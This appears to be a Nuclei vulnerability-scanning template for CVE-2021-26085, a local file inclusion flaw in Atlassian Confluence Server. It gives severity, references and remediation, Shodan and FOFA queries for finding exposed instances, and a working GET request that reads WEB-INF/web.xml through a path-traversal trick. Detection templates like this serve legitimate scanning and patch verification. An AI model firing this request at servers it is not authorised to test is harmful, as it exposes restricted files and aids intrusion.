Atlassian Confluence Server - Local File Inclusion

id: CVE-2021-26085

info:
  name: Atlassian Confluence Server - Local File Inclusion
  author: princechaddha
  severity: medium
  description: Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest security patches provided by Atlassian to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://jira.atlassian.com/browse/CONFSERVER-67893
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26085
    - http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://github.com/e-hakson/OSCP
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26085
    cwe-id: CWE-425
    epss-score: 0.99937
    epss-percentile: 0.99968
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,kev,packetstorm,confluence,atlassian,lfi,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <display-name>Confluence</display-name>
          - com.atlassian.confluence.setup.ConfluenceAppConfig
        condition: and

      - type: status
        status:
          - 200
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